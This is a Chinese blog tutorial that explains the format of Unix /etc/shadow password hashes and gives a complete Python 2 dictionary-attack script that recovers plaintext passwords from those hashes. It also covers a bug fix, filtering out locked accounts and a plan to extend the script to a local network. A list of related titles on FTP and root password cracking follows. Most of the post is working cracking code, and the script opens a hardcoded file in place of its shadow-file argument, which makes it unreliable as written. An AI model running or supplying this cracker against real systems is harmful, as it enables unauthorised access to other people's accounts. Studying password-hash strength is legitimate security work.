python-1-破解unix密码/etc/shadow
2017-07-04 16:11
1076 查看
1、unix系统密码文件/etc/shadow
其中第二字段为加密后的密码(*开头为不能登录的用户,!!开头为过期的用户,也不能登录)
第二字段格式
$id$salt$encrypted
id代表hash算法:
另一种salt概念:
这个Salt用于对明文加密
Salt={$id$固定字数随机字符$}
(普通字符的固定字数为2,含有特殊字符的固定字数也是一个随机数,特殊字符/.等)
2、方法或函数
a)索引
b)方法
3、代码
4、问题
a)语句错误,在第一个word不匹配时就过早判断password not found,不能完整的遍历字典
b)参数传递进函数,最好直接读取/etc/shadow,避免cat到另外文件出错导致无法破解或者salt值错误、加密的密码不对等问题。
5、 优化
a)在代码中加入异常判断
b)排除无法登录的用户
c)重定向日志
d)改进为局域网型
其中第二字段为加密后的密码(*开头为不能登录的用户,!!开头为过期的用户,也不能登录)
第二字段格式
$id$salt$encrypted
id代表hash算法:
ID | 算法 |
---|---|
$1$ | MD5 |
$2a$ | Blowfish |
$5$ | SHA-256 |
$6$ | SHA-512 |
这个Salt用于对明文加密
Salt={$id$固定字数随机字符$}
(普通字符的固定字数为2,含有特殊字符的固定字数也是一个随机数,特殊字符/.等)
2、方法或函数
a)索引
start_index=lst.find("$") #获取第一个$字符的索引值
finish_index=lst.rfind("$") #获取最后一个$字符出现的位置的索引值(从右往左查询)
Salt=lst[start_index:finish_index+1] #获取加密salt字符串
b)方法
sys.argv() #获得参数的个数
str.startswith(str) #检查字符串是否以指定字符开头
3、代码
import crypt import sys def testPass(cryptPass): #dictfile=open('dictionary.txt','r') start_index=cryptPass.find("$") finish_index=cryptPass.rfind("$") salt=cryptPass[start_index:finish_index+1] try: dictfile=open(sys.argv[2],'r') except Exception,e: print "Error ! "+str(e) exit(0) for word in dictfile.readlines(): word=word.strip('\n') cryptWord=crypt.crypt(word,salt) if cryptWord==cryptPass: print "[+] Found Password: " +word+ " \n" return print('[-] Password not found!') return def main(): if len(sys.argv)==3: try: shadowfile=open(sys.argv[1]) except Exception,e: print "Error !" +str(e) exit(0) else: print "Usage:python ShadowCracker.py [shadow file] [dictionary file]" exit(0) passfile=open('passwords.txt','r') for line in passfile.readlines(): user=line.split(':')[0] cryptPass=line.split(':')[1].strip('\n') print "[*] Cracking Password For: " +user testPass(cryptPass) if __name__=='__main__': main()
4、问题
a)语句错误,在第一个word不匹配时就过早判断password not found,不能完整的遍历字典
for word in dictfile.readlines(): word=word.strip('\n') cryptWord=crypt.crypt(word,salt) if cryptWord==cryptPass: print "[+] Found Password: " +word+ " \n" return else: print('[-] Password not found!') return
b)参数传递进函数,最好直接读取/etc/shadow,避免cat到另外文件出错导致无法破解或者salt值错误、加密的密码不对等问题。
5、 优化
a)在代码中加入异常判断
b)排除无法登录的用户
if not (cryptPass.startswith('*') or cryptPass.startswith('!')):
c)重定向日志
d)改进为局域网型
相关文章推荐
- 利用Python 破解类unix系统 /etc/shadow 文件hashed password
- 不同的类UNIX操作系统密码破解方法介绍
- 不同的类UNIX操作系统密码破解方法
- Python 暴力破解武汉大学图书馆密码程序
- Python破解密码二
- 类UNIX操作系统ROOT密码破解
- python编写暴力破解FTP密码小工具
- 忘记ftp密码使用python ftplib库暴力破解密码的方法示例
- 不同的类UNIX操作系统密码破解方法介绍
- python编写暴力破解FTP密码小工具
- 不同的类UNIX操作系统密码破解方法介绍
- 不同的类UNIX操作系统密码破解方法介绍
- Linux中生成/etc/shadow的加密密码
- 忘记ftp密码使用python ftplib库暴力破解密码的方法示例
- busybox 文件系统 etc目录,登陆 login,密码 password,shadow
- Linux 密码爆破 shadow 文件解密 破解
- UNIX/Linux RHEL6.3 root密码破解,GRUB加密(图文并茂)
- Python脚本暴力破解栅栏密码
- 破解Linux下的shadow文件获得账户密码
- Linux中生成/etc/shadow的加密密码